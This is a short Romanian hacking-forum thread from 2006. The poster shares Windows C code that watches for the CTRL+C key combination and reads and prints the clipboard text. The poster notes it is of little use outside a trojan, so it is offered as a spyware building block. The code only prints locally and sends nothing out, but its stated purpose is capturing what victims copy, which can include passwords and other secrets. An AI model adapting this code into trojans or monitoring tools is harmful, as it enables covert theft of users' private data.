SlicK Posted December 13, 2006 Report Posted December 13, 2006 Acest cod extrage si afiseaza textul din clipboard la apsarea combinatie de taste CTRL+CPS: in afara unui trojan nu este prea folositor #include <windows.h>#include <stdio.h>int main(){ while(1) { Sleep(10); if(GetAsyncKeyState(VK_CONTROL)<0 && GetAsyncKeyState(67)==-32767) // la apasarea combinatie de taste CTRL+C { char *buffer; //pentru stocarea continutului clipboardului if(OpenClipboard(NULL)) // deschidem clipboardul { buffer=(char*)GetClipboardData(CF_TEXT); // extragem textul din clipboard printf("%sn==============================n",buffer); // afisam textul } CloseClipboard(); // inchidem clipboardul } } return 0;} Quote
SlicK Posted December 13, 2006 Author Report Posted December 13, 2006 Mersi!You really keep me going :@ Quote